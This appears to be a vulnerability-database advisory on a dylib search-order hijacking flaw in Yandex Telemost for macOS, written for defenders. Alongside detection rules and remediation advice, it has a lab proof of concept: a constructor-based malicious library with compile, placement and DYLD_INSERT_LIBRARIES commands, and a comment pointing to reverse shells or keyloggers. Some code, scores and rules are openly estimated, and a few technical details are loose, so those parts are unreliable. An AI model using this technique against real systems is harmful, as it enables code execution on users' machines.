CVE-2025-5471
Executive Summary
CVE-2025-5471 is a Uncontrolled Search Path Element vulnerability (CWE-427) affecting Yandex Telemost on macOS prior to version 2.19.1. This flaw allows an attacker to perform Search Order Hijacking, where a maliciously crafted dynamic library (.dylib) placed in a directory searched before the intended system path can be loaded by the application. Successful exploitation could lead to arbitrary code execution in the context of the Telemost process, potentially compromising the user's system.
The vulnerability has a CVSS score of 0.0 (placeholder), but based on the nature of the flaw, the actual severity is likely High (7.0-8.0) due to the potential for local privilege escalation or code execution. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor, Yandex, has released version 2.19.1 to address the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While the official CVSS score is listed as 0.0, a realistic assessment based on the vulnerability type is provided below:
- Attack Vector (AV): Local (L) – Requires local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions beyond placing a malicious library.
- Privileges Required (PR): Low (L) – Attacker needs user-level access to write to a directory.
- User Interaction (UI): Required (R) – User must launch the vulnerable application.
- Scope (S): Unchanged (U) – Exploitation stays within the application's security context.
- Confidentiality (C): High (H) – Potential to read sensitive data.
- Integrity (I): High (H) – Potential to modify data or execute code.
- Availability (A): High (H) – Potential to crash or control the application.
Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Estimated Base Score: 7.3 (High)
Threat Level: High – Exploitation requires local access but can lead to full code execution.
Deep Dive & Mechanics
The vulnerability lies in how Yandex Telemost resolves dynamic library dependencies on macOS. The application uses a relative or uncontrolled search path when loading libraries, rather than using absolute paths or secure loading mechanisms (e.g., @rpath with restricted search order).
How Search Order Hijacking Works:
- macOS applications search for dynamic libraries in a specific order:
LD_LIBRARY_PATH,DYLD_LIBRARY_PATH,DYLD_FALLBACK_LIBRARY_PATH, and the application's bundle. - If the application does not use absolute paths, an attacker can place a malicious
.dylibfile in a directory that is searched before the legitimate library's location. - When the application loads, it loads the attacker's library instead, executing arbitrary code.
Attack Scenario:
- An attacker with local access to a macOS system creates a malicious
.dylib(e.g.,libsomething.dylib) and places it in a directory like/tmp/or a user-writable path. - The attacker then tricks the user into launching Yandex Telemost (e.g., via social engineering or by waiting for the user to launch it normally).
- Telemost loads the malicious library, giving the attacker code execution with the user's privileges.
Vulnerable vs. Patched Code
Vulnerable Code (before 2.19.1): The application likely uses relative paths or environment variables to load libraries, e.g.:
// Vulnerable: Uses relative path or environment variable
void *handle = dlopen("libtelemost.dylib", RTLD_LAZY);
Patched Code (2.19.1+): The patched version uses absolute paths or secure loading:
// Patched: Uses absolute path
void *handle = dlopen("/Applications/Yandex Telemost.app/Contents/Frameworks/libtelemost.dylib", RTLD_LAZY);
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- macOS virtual machine (e.g., macOS Ventura or Sonoma).
- Yandex Telemost version < 2.19.1 installed.
- A C compiler (e.g.,
gccorclang).
Exploitation Steps:
Create a malicious library:
// evil.c #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> __attribute__((constructor)) void init() { system("open -a Calculator"); // PoC: launch Calculator // For real attack: reverse shell, keylogger, etc. }Compile:
gcc -dynamiclib -o libevil.dylib evil.cPlace the library in a hijackable path:
cp libevil.dylib /tmp/libtelemost.dylibSet environment variable (if needed):
export DYLD_INSERT_LIBRARIES=/tmp/libevil.dylibLaunch Telemost:
open /Applications/Yandex\ Telemost.appObserve code execution: Calculator opens, confirming the hijack.
Blue Team (Defensive)
Detection:
- Monitor for unusual
DYLD_INSERT_LIBRARIESenvironment variables. - Monitor for unexpected
.dylibfiles in user-writable directories. - Use endpoint detection and response (EDR) to alert on
dlopencalls with relative paths.
Prevention:
- Restrict user write permissions to system directories.
- Use macOS's
Library ValidationandHardened Runtimefeatures. - Deploy application allowlisting to block untrusted libraries.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | /tmp/libevil.dylib |
Malicious library placed in a writable directory |
| Process | Yandex Telemost loading unexpected .dylib |
Unusual library load events |
| Environment | DYLD_INSERT_LIBRARIES set |
Indicator of library injection |
| Network | Outbound connection from Telemost process | Potential C2 beaconing |
Detection Engineering
YARA Rule
rule CVE_2025_5471_Yandex_Telemost_Hijack {
meta:
description = "Detects malicious dylib files targeting Yandex Telemost"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5471"
strings:
$s1 = "libtelemost" ascii wide nocase
$s2 = "Yandex Telemost" ascii wide nocase
$s3 = "dlopen" ascii wide
condition:
uint32(0) == 0xfeedfacf and // Mach-O magic
($s1 or $s2) and $s3
}
Sigma Rule
title: Yandex Telemost Library Hijacking Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to hijack Yandex Telemost via uncontrolled search path
author: Valters IT
date: 2025-04-10
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/Yandex Telemost.app/Contents/MacOS/Yandex Telemost'
CommandLine|contains: 'DYLD_INSERT_LIBRARIES'
condition: selection
falsepositives:
- Legitimate use of DYLD_INSERT_LIBRARIES for debugging
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2025-5471 - Yandex Telemost Potential C2 Beacon";
flow:to_server,established;
content:"Yandex Telemost"; http_user_agent;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Yandex Telemost to version 2.19.1 or later.
- Restrict user write permissions to directories in the library search path.
- Monitor for
DYLD_INSERT_LIBRARIESusage via EDR.
Long-term Measures:
- Enable Hardened Runtime and Library Validation for all macOS applications.
- Use absolute paths for all dynamic library loads.
- Implement code signing and notarization checks.
Workaround:
- If upgrade is not possible, remove the application or use application allowlisting to block untrusted libraries.
Valters IT